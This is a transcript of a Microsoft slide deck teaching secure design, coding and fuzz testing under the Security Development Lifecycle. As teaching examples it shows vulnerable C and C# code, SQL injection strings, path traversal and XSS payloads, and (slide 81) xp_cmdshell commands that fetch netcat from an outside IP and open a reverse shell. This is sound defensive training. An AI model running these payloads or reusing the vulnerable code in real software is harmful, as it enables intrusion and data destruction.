Presentation is loading. Please wait.

Presentation is loading. Please wait.

Basics of Secure Design, Development, and Test Secure software made easier.

Similar presentations


Presentation on theme: "Basics of Secure Design, Development, and Test Secure software made easier."— Presentation transcript:

1 Basics of Secure Design, Development, and Test Secure software made easier

2 Motivation In this course, we will: – Look at the Microsoft Security Development Lifecycle (SDL) – Briefly review some secure design, development, and test concepts – Explore the security issues that arise if these design, coding, and test principles are not properly applied This will provide you with information that you can use to make your software more secure

3 Agenda Microsoft Security Development Lifecycle (SDL) overview Module 1: Secure Design – Attack Surface Reduction – Threat Modeling Module 2: Secure Development – Buffer overflows – Integer arithmetic errors – Canonicalization issues – Managed Code: Cross-site scripting (XSS) – Managed Code: SQL injection – Cryptography – Code Review Module 3: Security Testing – Fuzz Testing

4

5 Working to protect our users… EducationAccountability Administer and track security training Incident Response (MSRC) Incident Response (MSRC) Establish release criteria and sign-off as part of FSR Ongoing Process Improvements Process Guide product teams to meet SDL requirements

6 Very Encouraging Results! Total Vulnerabilities Disclosed 12 Months After Release Total Vulnerabilities Disclosed 36 Months After Release Before SDL After SDL 45% reduction in Vulnerabilities Before SDL After SDL 91% reduction in Vulnerabilities Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities

7 Still Much to Be Done: The Pain of "Blaster" Two lines of C code in RPCSS while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Led to – >1,500,000 infected computers – 3,370,000 Product Support Services (PSS) calls in September 2003 (normal virus volume is 350,000) – Plenty of negative commentary " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester

8 The Horrible Truth No matter how much effort we expend, we will never get code 100 percent correct – This is an asymmetric problem We must be 100 percent correct, 100 percent of the time, on a schedule, with limited resources, only knowing what we know today – Oh, and the product has to be reliable, supportable, compatible, manageable, affordable, accessible, usable, global, doable, deployable… They can spend as long as they like to find one bug, with the benefit of future research Were human and our tools are far from perfect Theres still a business case for improving security now

9 The Horrible Truth (continued) Tools make it easy to build exploit code Reverse engineering tools Structural Comparison of Executable Objects, Halvar Flake – http://www.zynamics.com/downloads/dimva_paper2.pdf – PCT Bug: "Detecting and understanding the vulnerability took less than 30 minutes" – H.323 ASN.1 Bug: "The total analysis took less than three hours time" Exploit payloads www.metasploit.com

10 Choose your sploit Enter some details… Heres the sploit code!

11 The Horrible Truth (concluded) Don't be a statistic: A worm or serious vulnerability in any major product can have devastating impact to you and your users In general: – Cost for attacker to build attack is very low – Cost to your users is very high – Cost of reacting is higher than cost of defending

12

13 Module 1: Secure Design

14 The Attack Surface Reduction Process Look at all of your entry points – Network I/O – File I/O Rank them – Authenticated versus anonymous – Administrator only versus user – Network versus local – UDP versus TCP

15 Watch Out for Fanout! For example, JPG, MSH, or GIF File formats SSL2, SSL3, TLS, PCT Subprotocols HTTP Classic GET, POST, HEAD, DELETE WebDAV PROPPATCH, PROPFIND, MOVE, LOCK SMTP HELO, EHLO, MAIL, RCPT Queries Extended sprocs and sprocs Verbs

16 Its Not Just About Turning Stuff Off! Higher Attack SurfaceLower Attack Surface Executing by defaultOff by default Open socketClosed socket UDPTCP Anonymous accessAuthenticated access Constantly onIntermittently on Admin accessUser access Internet accessLocal subnet access SYSTEMNot SYSTEM! Uniform defaultsUser-chosen settings Large codeSmall code Weak ACLsStrong ACLs

17 ASR Examples Authenticated RPC Firewall on by default Windows Internet Information Services version 6 (IIS6) Off by default Network service by default Static files by default xp_cmdshell off by default CLR and COM off by default Network service SQL Server 2005 Web server localhost only SQL Server Express localhost only Visual Studio ® 2005

18 Attack Surface Reduction is as important as trying to get the code right

19 Module 1: Secure Design

20 Threat Analysis Secure software starts with understanding the threats Threats are not vulnerabilities Threats live forever; they are the attacker's goal Threat Mitigation Vulnerability Attacker

21 Vision Model Identify Threats Mitigate Validate The Process in a Nutshell

22 Whiteboard Your Architecture Start with person, processes, data flows, data stores – Unique shape per item – Data flows should be one way each – Label them with data, not read/write Draw attack surfaces/trust boundaries Tell a story to see if your picture is ok DataFlow Function call Network traffic Remote Procedure Call (RPC) People Other systems Microsoft.com External Entity DLLs EXEs COM object Components Services Web Services Assemblies Process Database File Registry Shared Memory Queue / Stack Data Store Process Boundary File system Trust Boundary

23 STRIDE Find Threats: Use STRIDE per Element Start with items connected to dangerous data flows (those crossing boundaries) Use the chart to help you think of attacks Keep a running list Process DataFlow Data Store External Entity

24 ThreatPropertyDefinitionExample S poofing Authentication Impersonating something or someone else. Pretending to be any of billg, microsoft.com or ntdll.dll T ampering Integrity Modifying data or code Modifying a DLL on disk or DVD, or a packet as it traverses the LAN. R epudiation Non-repudiation Claiming to have not performed an action. I didnt send that email, I didnt modify that file, I certainly didnt visit that web site, dear! I nformation Disclosure Confidentiality Exposing information to someone not authorized to see it Allowing someone to read the Windows source code; publishing a list of customers to a web site. D enial of Service Availability Deny or degrade service to users Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole. E levation of Privilege AuthorizationGain capabilities without proper authorization Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also EoP. Understanding the STRIDE Threats

25 Mitigation Techniques ThreatMitigation Feature SpoofingAuthentication TamperingIntegrity RepudiationNonrepudiation Information DisclosureConfidentiality Denial of ServiceAvailability Elevation of PrivilegeAuthorization

26 Mitigating Your Threats For each threat, decide how to stop it – Redesign and eliminate – Use standard threat mitigations – Invent new mitigation (not recommended!seek help) – Accept risk in accordance with SDL bug bar File a work item in your bug tracking DB – Treat threats as bugs, mitigations as features

27 Validate Check threat model diagrams – Do they match the design docs or code? Check your bug DB work items are all – Closed as completed – QAd

28 Context Diagram Services for Macintosh

29 Diagrams Should Not Resemble Flow charts Class diagrams Call graphs

30 Determining Threat Types Each element in the Data Flow Diagram (DFD) is susceptible to one or more threat types 1.0 5.0 2.0. 3.0 4.0 10.0 8.0 6.0 11.0 9.0 7.0 STRIDE STRIDE STRIDE TID TID TID TID SR SR TID TID

31 DFD Elements Are Threat Targets: A Work List Each threat is governed by the conditions which make the threat possible Each threat is governed by the conditions which make the threat possible Data Flow STRIDE 1 5 5 6 6 7 7 8 Data Store 7 9 11 Interactor 1 2 8 Process 3 4 5 6 10 Each is a potential threat to the system

32 A Special Note About Information Disclosure Threats All information disclosure threats are potential privacy issues Is the data sensitive or PII?

33 Call to Action Threat model something – Like your program! – If youre stuck, threat model a different program Go breadth-first Have fun Seek more intensive training – "Introduction to Threat Modeling"

34 No design is complete without a threat model! No design is complete without a threat model! Follow anonymous data paths Follow anonymous data paths Every threat needs a security test plan Every threat needs a security test plan Check all information disclosure threats – are they privacy issues? Check all information disclosure threats – are they privacy issues? Threat Model Checklist threat software vuln

35 Summary Defined the SDL Described the Attack Surface Reduction process with some examples of its positive impact Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process

36 Question 1: Which of the following is an example of low attack surface? A. User-controlled settings B. Weak ACLs C. Internet access

37 Question 2: Information disclosure is caused by a breach of…? A. Privacy B. Security C. Both

38 Question 3: Which mitigation technique can be used to protect against the STRIDE spoofing threat? A. Integrity B. Authentication C. Availability D. Authorization

39

40 Module 2: Secure Development

41 What Are Buffer Overflows (BOs)? External data is larger than the destination Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow – Causing the application to change execution flow – To the attackers code that is included in the data Cause: Trusting input C/C++ code the most common victim Direct access to memory

42 void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } Stack Buffer Overflows at Work EBP Buffers Other vars EIPEIP Args 0wn3d! Bad things happen if *p points to data longer than b Function return address Exception Handlers Function Pointers Virtual Methods Exception Handlers Function Pointers Virtual Methods All determine execution flow

43 Buffer Overflow Examples SQL Server Instance Resolution (MS02-039) #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG];... ssrpMsg = SsrpRecvMsg(rgbRecvBuf); switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]); } SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) {... bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr ); return((SSRPMSGTYPE)rgbRecvBuf[0]); } BOOL SsrpEnum(LPSTR szInstName,...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName); Read no more than 256 bytes from the network Then copy into a 128-byte buffer Sitting on port 1434The Internet

44 Heap Block Heap Overflows at Work Heap Block Heap Block Heap Block Write a DWORD anywhere in memory when block is free()d 0wn3d! On block free: D1 [A1] D2 [A2] Pointer to next block Pointer to prior block A1A1 D1D1 A2A2 D2D2

45 Zotob (PnP Code) CONFIGRET ResDesToNtResource( IN PCVOID ResourceData, IN RESOURCEID ResourceType, IN ULONG ResourceLen, IN PCM_PARTIAL_RESOURCE_DESCRIPTOR pResDes, IN ULONG ulTag ) { case ResType_ClassSpecific: { PCS_RESOURCE pCsData = (PCS_RESOURCE)ResourceData; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)pResDes + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, pCsData->CS_Header.CSD_Signature + pCsData->CS_Header.CSD_LegacyDataOffset, pCsData->CS_Header.CSD_LegacyDataSize); Amount of data to copy is controlled by the attacker Sitting on port 445 the Internet

46 The 'n'-Functions Are Safe? Right?! // Example #1 (code verifies pszSrc is <= 50 chars) #define MAX (50) char *pszDest = malloc(sizeof(pszSrc)); strncpy(pszDest,pszSrc,MAX); // Example #2 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); // Example #3 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,strlen(pszSrc)); Wrong buffer size! sizeof is 4 bytes, not 50String not null-terminated if len(pszSrc) >= MAX

47 The 'n'-Functions Are Safe? Right?! // Example #4 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); pszDest[MAX] = '\0'; // Example #5 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX-1); strncat(szDest,pszSrc,MAX-1); MAX-1 is not the total destination buffer size! Wrote NULL to element 51, not 50!

48 The 'n'-Functions Are Safe? Right?! // Example #6 char szDest[50]; _snprintf(szDest, strlen(szDest), "%s",szSrc); You should always use safe variants of the str calls: str*_s // Example #7 void func(char *p) { char szDest[MAX]; strncpy(szDest,p,MAX); szDest[MAX-1] = '\0'; } szDest contains junk! strlen(szDest) is random! What if p == NULL?

49 Fixing Buffer Overflows Search for "risky" functions and determine data origin /GS, NX, ASLR and heap checking Better libraries and classes (strsafe,Safe CRT, STL) Fuzz tests Reduce attack surface /analyze and SAL

50 Memory Defenses Stack BO detection (aka /GS, enabled by default in VC++ 2008) – Detects some stack-based overruns – Rearranges the stack so buffers are in higher memory (helps protect variables) – Moves various arguments to lower memory Exception handler protection (aka /SafeSEH, enabled by default in VC++ 2008 linker) – Exception addresses are verified at runtime

51 Memory Defenses Data Execution Protection (aka NX/XD, enabled by default) – Harder to execute date In Windows Vista, DEP cannot be disabled once turned on process Most CPUs today support DEP, but make sure it's enabled in the BIOS Most CPUs today support DEP, but make sure it's enabled in the BIOS

52 Memory Defenses Heap defenses (all enabled by default) – Lookasides gone – Arrays of free lists gone – Early detection of errors due to block header integrity check ENTRY->Flink->Blink == ENTRY->Blink->Flink == ENTRY Use HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0) Integer overflow calling operator::new automatically detected at runtime (by default)

53 Memory Defenses Image randomization (ASLR) – System images are loaded randomly into 1 of 256 'slots' – Changes on each boot – To be effective ASLR requires DEP – Enabled by default – Link with /dynamicbase for non-system images Stack is randomized for each new thread (by default) Heap is randomized (by default) Long-lived pointers are encoded and decoded – A successful pointer overwrite must survive the decoding process (XOR with a random number) – Use Encode[System]Pointer and Decode[System]Pointer

54 Defenses Summary Mandatory use of compiler security options – /GS flag (runtime stack BO detection) – /SafeSEH (runtime exception checking) – /NXCompat (NX support) – /DynamicBase (ASLR support) – /robust switch for MIDL compiler

55 Module 2: Secure Development

56 Integer Arithmetic Attacks Integer arithmetic is a generic name for a set of common integer arithmetic mistakes – Overflow and underflow – Signed versus unsigned errors – Truncation They can lead to attacker control of program flow

57 Integer Arithmetic Attacks int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2){ char buf[0xFF]; if((len1 + len2) > 0xFF) return -1; memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2); // do stuff with buf return 0; } len1 len2 0x103 + 0xFFFFFFFC 0xFF Both memcpy functions attempt to copy >255 bytes

58 Integer Overflow Attacks GDI+ JPG Rendering (MS04-028) BOOL GpJpegDecoder::read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **ppBuffer, OUT UINT16 *pLength ) { VOID *pBuffer; UINT16 length; INPUT_VARS(cinfo); INPUT_2BYTES(cinfo, length, return FALSE); *pLength = length+2; pBuffer = GpMalloc(length+2);... INT len = length - 2;... GpMemcpy(p, cinfo->src->next_input_byte, len); 0xFFFE + 0x02 == 0x00 0xFFFFFFFE - 0x02 == 0xFFFFFFFC

59 Integer Overflow Attacks Custom Memory Allocations #define _BLOCKSIZE 64 void *_MemAlloc(size_t cb) { // Round to nearest block size size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr); } If cb = 0xffffffff, then cbr == 0

60 Unmanaged Code Interop Issues public int CopyData(byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer) { if (inputOffset >= inputBuffer.Length) throw new Exception(); if (inputCount > inputBuffer.Length) throw new Exception(); if (inputOffset + inputCount < inputOffset) throw new Exception(); if (inputBuffer.Length < inputOffset + inputCount) throw new Exception(); _UnmanagedCopy(..., inputBuffer, inputOffset, inputCount); _UnmanagedCopy(..., BYTE *inputBuffer, DWORD inputOffset, DWORD inputCount) { memcpy(pb, inputBuffer + inputOffset, inputCount);... } C++ C# All the checks are against signed ints 0xFFFFFFFF

61 Standard Annotation Language (SAL) Defines interface contracts Helps tools find bugs Annotate your headers using SAL – Used by latest PREfast References – SAL Annotations: C Run-Time Library Reference http://msdn.microsoft.com/en-us/library/ ms235402.aspx – A Brief Introduction to the Standard Annotation Language (SAL) http://blogs.msdn.com/michael_howard/archive/ 2006/05/19/602077.aspx

62 Standard Annotation Language (SAL) Informs compiler that Buffer is BufferSize WCHARs It's an out parameter, so it does not need initializing (else _In_out_) NULL is not valid (else _opt) DWORD WINAPI BluetoothGetServicePnpInstance( BLUETOOTH_ADDRESS * pDeviceAddress, GUID * ServiceGuid, ULONG InstanceId, _Out_cap_(BufferSize) WCHAR * Buffer, ULONG BufferSize, HKEY * phKey );

63 Remedy: Integer Arithmetic Any calculation used to determine an array offset or memory allocation is suspect Use unsigned variables for array indexes and buffer sizes Ints are signed in Managed Code Watch out for: – C4018 and C4389 compiler warnings (signed and unsigned mismatch) – C4244 compiler warnings (conversion from "type1" to "type2"; possible loss of data) – #pragma and casts that shut the compiler up!

64 Remedy: Integer Arithmetic #define MAX_ALLOC (1024*1024*4) if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T)); } size_t cb = num * sizeof(T); T *p = malloc(cb); size_t cb = num * sizeof(T); T *p = malloc(cb); T *p = new T[num]; size_t cb = num * sizeof(T); if (num == cb/sizeof(T)) { T *p = malloc(cb); } // Howard (C/C++ IntOverflow.h) if (UMul(num,sizeof(T),&cb)) { T *p = malloc(cb); } // LeBlanc (C++ SafeInt.hpp) SafeInt cbFoo(sizeof(T)) ; SafeInt cb = cbFoo * num; T *p = malloc(cb) // Windows C/C++ sdk/inc/intsafe.h // and ddk/inc/ntintsafe.h if (SUCCEEDED(SizeTMult(num,sizeof(T),&cb) )) T *p = malloc(cb); }

65 Just fix 'em! Just fix 'em! Build defensive code and add defensive layers (like /GS) Build defensive code and add defensive layers (like /GS) Use the latest version of VC++ /GS Use the latest version of VC++ /GS Use safer string libraries Use safer string libraries Use /analyze and SAL Use /analyze and SAL All arithmetic used to calculate memory allocations is probably wrong! All arithmetic used to calculate memory allocations is probably wrong! BO / IA Checklist

66 Module 2: Secure Development

67 Canonicalization Issues Never make a security decision based on the name of something – Chances are good that youll get it wrong – Often, there is more than one way to name something if (String.Compare(username,@"ntdev\mikehow",true)==0 && String.Compare(filename,@"secretfile.txt",true)==0) // go away

68 Canonicalization Issues: Example 1 SecretFile.txt SecretFile.txt. Secret~1.txt SecretFile.txt::$DATA

69 Canonicalization Issues: Example 2 http://contoso.com/foo/home.aspx http://contoso.com/foo/HOME.ASPX http://contoso.com/foo/../foo/home.aspx http://contoso.com/foo/./home.aspx http://207.46.197.32/foo/home.aspx http://3435386042/foo/home.aspx http://contoso.com./foo/home.aspx http://contoso.com/foo/%67ome.aspx http://contoso.com/foo/%c0%ae/home.aspx http://contoso.com/foo/%u0067ome.aspx http://contoso.com/foo/%FF48.aspx http://contoso.com/foo/%2567ome.aspx

70 Canonicalization Issues: Example 3 http://www.example.com/prn/default.asp http://www.example.com/aux.asp

71 Module 2: Secure Development

72 Cross-Site Scripting (XSS) Very common vulnerability An issue in a Web server leads to a compromised client (and more) The fault is simply trusting input and then echoing it!

73 XSS in Action: Cookie Stealing Welcome.asp Hello, document.write ( ) here

74 XSS in Action: "Defacement" /location= document.images[4].src= "http://www.badsite.com/news.jpg"

75 Crystal Reports Vulnerability MS04-017 public class CrystalImageHandler : WebControl { private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read); // stream file to user File.Delete (filePath); } (1) Get filename from querystring (2) Open file (4) Delete file! crystalimagehandler.aspx?dynamicimage=..\..\boot.ini (3) Stream file to user

76 Remedies: XSS Validate all input Never directly echo Web-based user input – At the very least, HTML encode the output – ASP.NET 1.1 adds the ValidateRequest option – Use AntiXSS Use HttpOnly cookie option – Prevents access to client-side script in IE6 SP1 and later (used by Hotmail) Use security attribute – Supports Internet Explorer security zone settings

77 Module 2: Secure Development

78 SQL Injection: C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); } Hard to guess password! Connecting as sysadmin String concat for dynamic SQL Telling the bad guy too much on failure

79 Why It's Wrong (1 of 3) Good Guy SELECT HasShipped FROM Shipment WHERE ID='1001' Not So Good Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";

80 Why It's Wrong (2 of 3) Really Bad Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' ; drop table orders -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Downright Evil Guy SELECT HasShipped FROM Shipment WHERE ID= '1001 ; exec xp_cmdshell('...') -- '

81 Why It's Wrong (3 of 3) Your Worst Nightmare! nc.exe -l -p 31337 exec xp_cmdshell 'tftp -i 63.45.11.9 GET nc.exe c:\nc.exe' exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe 63.45.11.9 31337' 0wns 63.45.11.9

82 Remedy: Do Not Trust User Input Validate all input – All input is evil until proven otherwise – Look for data that matches the expected use, and reject everything else – http://www.contoso.com/pwnme.html is a valid URL… …On a non-existant server… …Which you likely dont want to visit Constrain, reject, and sanitize – Type checks (for example, numeric only) – Length checks (for example, buffer must be < n bytes) – Range checks (for example, A-Z a-z) – Format checks (for example, e-mail name) Validator.ValidationExpression = ^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$";

83 Remedies: SQL Injection Validate all input Use parameterized queries Consider allowing access to sprocs and not allowing access to underlying tables Use parameterized queries with sprocs SqlDataAdapter cmd = new SqlDataAdapter("exec sp_getshipstatus(@id)", conn); SqlParameter parm = cmd.SelectCommand.Parameters.Add("@id",id);

84 Do not look only for "bad things"; it assumes you know all the "bad things" ; deldeleteete from table

85 All input is evil!!!!! All input is evil!!!!! Don't look for "bad" things! Don't look for "bad" things! Input Error Checklist

86 Module 2: Secure Development

87 Storing Secrets Software cannot defend itself, therefore: – Storing secrets securely in software is impossible! – Embedded "secrets" don't stay secret for long

88 Storing Secrets DPAPI is the required method – Easy access to platform-provided cryptography Crypt[Un]ProtectData – Managed wrappers available pre-.NET 2.0 –.NET 2.0 adds ProtectedData class Introduced in Windows 2000 Preferable to Local Security Authority (LSA) secrets

89 Weak Crypto Dont create your own crypto algorithms – Use CryptoAPI, CAPICOM, and System.Security.Cryptography MD4, MD5, RC4, DES, and SHA1 banned for new code AES and SHA256 okay

90 Module 2: Secure Development

91 Managed Code Issues Code Access Security (CAS) != Secure Code! Be wary of granting certain permissions to your code – SecurityPermission, UnmanagedCode, SkipVerification, ControlEvidence, and ReflectionPermission Run FxCop or /analyze regularly Read Secure Coding Guidelines on MSDN – Managed Code: http://msdn2.microsoft.com/en- us/library/ms998408.aspx – Native Code: http://msdn2.microsoft.com/en- us/library/ k3a3hzw7(VS.80).aspx View ".NET Framework Security Best Practices": http://msdn2.microsoft.com/ en-us/ security/aa570406.aspx

92 Audit Extensively: LinkDemand Unlike a Demand, does not perform a full run-time stack-walk Checks the immediate caller during JIT compile ReadFile ReadFile FileIOPermission? FileIOPermission? FileIOPermission? Demand LinkDemand Your code

93 Audit Extensively: Partial Trust AllowPartiallyTrustedCallersAttribute – [assembly:AllowPartiallyTrustedCallers] APTCA == "bring it on, hax0rs!" Applies to strong-named assemblies Disables LinkDemand:FullTrust Allows code from the Internet to call your code – Is that what you really want? Managed C++ and APTCA dont mix

94 Audit Extensively: Asserts Are your protected actions safe? Note: Your code must be granted the permission you are asserting and have permission to assert ReadFile FileIOPermission? FileIOPermission? Assert FileIOPermission ReadFile

95 Audit Extensively: Asserts [FileIOPermission(SecurityAction.Assert)] public void CreateLogFile(string log) { StreamWriter TextStream = new StreamWriter(log); } [FileIOPermission(SecurityAction.Assert, All=@"C:\logs\Log.txt")] public void CreateLogFile() { StreamWriter TextStream = new StreamWriter(@"C:\logs\Log.txt"); }

96 Audit Extensively P/Invoke and COM Interop Your gateway to buffer overflows!

97 Audit Extensively Readonly isnt read-only! static readonly byte[] keysizes = new byte[] {64,112,128,160,196}; static void Main(string[] args) { keysizes[1] = 8; }

98 Dont Forget Managed Code Integer Arithmetic Bugs Int16 i = getFromNetwork(); if (i <= MAX) { i++; Int32 j = 8192 / i; } Int16 req;... while (true) { getRequest(); req++; arr[req] = DateTime.Now; }

99 Summary Demonstrated how failing to validate input can cause security issues, such as buffer overflows, XSS, and SQL injection Demonstrated how these issues can be eliminated by creating secure code with examples Explained the importance of code reviews in creating secure code

100 Question 1: Which security issue is most likely to impact C/C++ code? A. SQL injection B. Buffer overflows C. Cross-site scripting

101 Question 2: Which bug type is exacerbated by using signed integers? A. Cross-site scripting B. Buffer overflows C. SQL injection D. Integer arithmetic errors

102 Question 3: Which of the following results in canonicalization vulnerability? A. Trusting an input value based on its name B. Echoing input directly in Web-based output C. Performing an incorrect integer arithmetic operation on the input

103 Question 4: Which of the following is not an immediate impact of XSS attacks? A. Web-site defacement B. Remote code execution on the server C. Cookie theft

104 Question 5: Which security issue can be mitigated by using parameterized queries? A. Cross-site scripting B. Buffer overflow C. SQL injection

105

106 Security Testing Actual software functionality Unintended, undocumented, or unknown functionality Traditional faults Intended functionality No authentication Missing defenses Weak authentication Poor defenses Buffer overflow in authentication Extra functionality

107 What Is Fuzzing? Randomized application of malformed data in a search for vulnerabilities Distinguishing characteristics – Methodical – Random values – Explicit search for vulnerabilities / reliability failures – Large number of test cases – Expected outcome: It does not fail – Does not fit neatly into typical test case development Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990) Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications

108 How to Fuzz Tools! Tools! Tools! Determine all of the entry points to your code – Network ports and protocols – Files and file types Rank them by privilege level and accessibility – Anonymous, user, and admin – Remote and local

109 Attackers Are Unconstrained Rule #1: There are no rules – Attacks by admins are uninteresting If you provide a client to access the server, dont use it! – Mimic the client in code If you rely on a specific service, build a bogus one

110 Fuzz Across Trust Boundaries Look for privilege elevation boundaries Pushing data from low-privilege to high-privilege process SYSTEMSYSTEM Everyone: Write Admin: Full Control Everyone: Read

111 Build fuzzers for all consumed resources (such as files or net protocols) Build fuzzers for all consumed resources (such as files or net protocols) Tools! Tools! Tools! Tools! Tools! Tools! SDL Fuzzing requirements cover SDL Fuzzing requirements cover Files Files RPC endpoints RPC endpoints ACtiveX Controls ACtiveX Controls Generalized network fuzzing is probably the next step Generalized network fuzzing is probably the next step Security Testing Checklist Fuzz!

112 Question: Which of the following is not a characteristic of fuzz testing? A. It is an explicit search for vulnerabilities or reliability failures B. It involves a large number of test cases, which are not individually compelling C. It is exploratory, as opposed to methodical D. Its expected outcome is does not fail

113 Overall Summary The SDL integrates security activities in all of the phases of product development Activities such as attack surface reduction and threat modeling are part of the secure design phase Input validation is a very important secure coding principle; failure to do so results in serious security issues Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are detected and fixed Security testing particularly fuzz testing helps expose errors that may introduce security vulnerabilities

114 Learning More Training – "Introduction to the Microsoft Security Development Lifecycle" – "Introduction to Threat Modeling" – "Privacy in Software Development" Books – The Security Development Lifecycle: SDL: A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter – Writing Secure Code, Second Edition (Howard, LeBlanc, 2002)

115 SDL Portal http://www.microsoft.com/sdl SDL Blog http://blogs.msdn.com/sdl/ SDL Process on MSDN (Web) http://msdn.microsoft.com/en- us/library/cc307748.aspx SDL Process on MSDN (MS Word) http://www.microsoft.com/downlo ads/details.aspx?FamilyID=d04 5a05a-c1fc-48c3-b4d5- b20353f97122&displaylang=en Resources

116 Questions?

117 © 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U.S. and/or other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.


Download ppt "Basics of Secure Design, Development, and Test Secure software made easier."

Similar presentations


Ads by Google